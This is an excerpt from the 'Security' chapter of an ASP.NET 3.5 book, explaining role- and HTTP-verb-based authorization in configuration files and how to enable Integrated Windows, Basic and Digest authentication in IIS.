You can define groups of individuals allowed or denied access to your application or the application's resources. Your server can contain a number of different groups, each of which can have any number of users belonging to it. It is also possible for a single user to belong to multiple groups. Pull up the Computer Management utility to access the list of the groups defined on the server you are working with. Simply click the Groups folder in the Computer Management utility, and the list of groups is displayed, as illustrated in Figure 6.
Figure 6
Figure 6 Right-click in the Groups folder to select New Group. The New Group dialog displays (see Figure 7).
Figure 7
Figure 7 To create a group, give it a name and description; then click the Add button and select the users whom you want to be a part of the group. After a group is created, you can allow it access to your application like this:
<allow roles="MyGroup" />
You can use the roles attribute in either the <allow> or <deny> element to work with a group that you have created or with a specific group that already exists.

Authenticating and Authorizing an HTTP Transmission Method

In addition to authenticating and authorizing specific users or groups of users, you can also authorize or deny requests that come via a specific HTTP transmission protocol. This is done using the verb attribute in the <allow> and <deny> elements.
<deny verbs="GET, DEBUG" />
In this example, requests that come in using the HTTP GET or HTTP DEBUG protocols are denied access to the site. Possible values for the verbs attribute include POST, GET, HEAD, and DEBUG.

Integrated Windows Authentication

So far, you have been using the default Integrated Windows authentication mode for the authentication/authorization process. This is fine if you are working with an intranet application and each of the clients is using Windows, the only system that the authentication method supports. This system of authentication also requires the client to be using Microsoft's Internet Explorer, which might not always be possible.
Integrated Windows authentication was previously known as NTLM or Windows NT Challenge/Response authentication. This authentication model has the client prove its identity by sending a hash of its credentials to the server that is hosting the ASP.NET application. Along with Microsoft's Active Directory, a client can also use Kerberos if it is using Microsoft's Internet Explorer 5 or higher.

Basic Authentication

Another option is to use Basic authentication, which also requires a username and password from the client for authentication. The big plus about Basic authentication is that it is part of the HTTP specification and therefore is supported by most browsers. The negative aspect of Basic authentication is that it passes the username and password to the server as clear text, meaning that the username and password are quite visible to prying eyes. For this reason, it is important to use Basic authentication along with SSL (Secure Sockets Layer).
If you are using IIS 5 or 6 to implement Basic authentication for your application, you must pull up IIS and open the Properties dialog for the Web site you are working with. Select the Directory Security tab and click the Edit button in the Anonymous Access and Authentication Control box. The Authentication Methods dialog box opens.
Uncheck the Integrated Windows Authentication check box at the bottom and check the Basic Authentication check box above it (see Figure 8). When you do, you are warned that this method transmits usernames and passwords as clear text.
Figure 8
Figure 8 End by clicking OK in the dialog. Now your application uses Basic authentication instead of Integrated Windows authentication.
If you are using Windows Vista, it is not easy to find the option to enable Basic authentication. Instead, you first have to enable IIS 7 to use Basic authentication by selecting Start-->Control Panel-->Programs-->Programs and Features-->Turn Windows features on or off. From the provided dialog box, navigate to the Internet Information Services section and expand until you arrive at World Wide Web Services-->Security. From here, check the Basic Authentication option and press OK to install. This option is presented in Figure 9.
Figure 9
Figure 9 Once this option is installed, you can then return to the Internet Information Services (IIS) Manager and select the Authentication option in the IIS section for the virtual directory you are focusing on. From there, highlight the Basic Authentication option and select Enable from the Actions pane. This is illustrated in Figure 10.
Figure 10
Figure 10

Digest Authentication

Digest authentication is the final mode you explore in this article. The model alleviates the Basic authentication problem of passing the client's credentials as clear text. Instead, Digest authentication uses an algorithm to encrypt the client's credentials before they are sent to the application server.
To use Digest authentication, you are required to have a Windows domain controller. One of the main issues that arises with Digest authentication is that it is not supported on all platforms and requires browsers that conform to the HTTP 1.1 specification. Digest authentication, however, not only works well with firewalls, but it is also compatible with proxy servers.
You can select Digest authentication as the choice for your application in the same Authentication Methods dialog — simply select the Digest Authentication check box from the properties dialog if you are using IIS 5 or 6. If you are using IIS 7, you need to install Digest Authentication just as you installed Basic Authentication. Once installed, you will find this option and will be able to enable it from the Authentication section within the IIS Manager.
This excerpt is from Chapter 21, "Security," of the upcoming Professional ASP.NET 3.5: in C# and VB (Wrox, Feb-2008, ISBN: 978-0-470-18757-9). Bill Evjen (St. Louis, MO) is one of the most active proponents of the .NET technologies. He has been involved with .NET since 2000 and has founded the International .NET Association, representing more than 500,000 members worldwide. In addition to working in the .NET world, Bill is a Technical Director serving in the office of the Chief Scientist for the international news and financial services company Reuters. Bill is the lead co-author of the upcoming (Feb-2008) Professional ASP.NET 3.5: in C# and VB and the best-selling ASP.NET 2.0 book, Professional ASP.NET 2.0. Other related articles of interest by Bill and his co-authors, Scott Hanselman and Devin Rader, include Manipulating ASP.NET Pages and Server Controls with JavaScript, Connecting to Oracle or Access from ASP.NET 2.0, Using the ASP.NET 2.0 SQL Server Cache Dependency, and ASP.NET 2.0 FileUpload Server Control.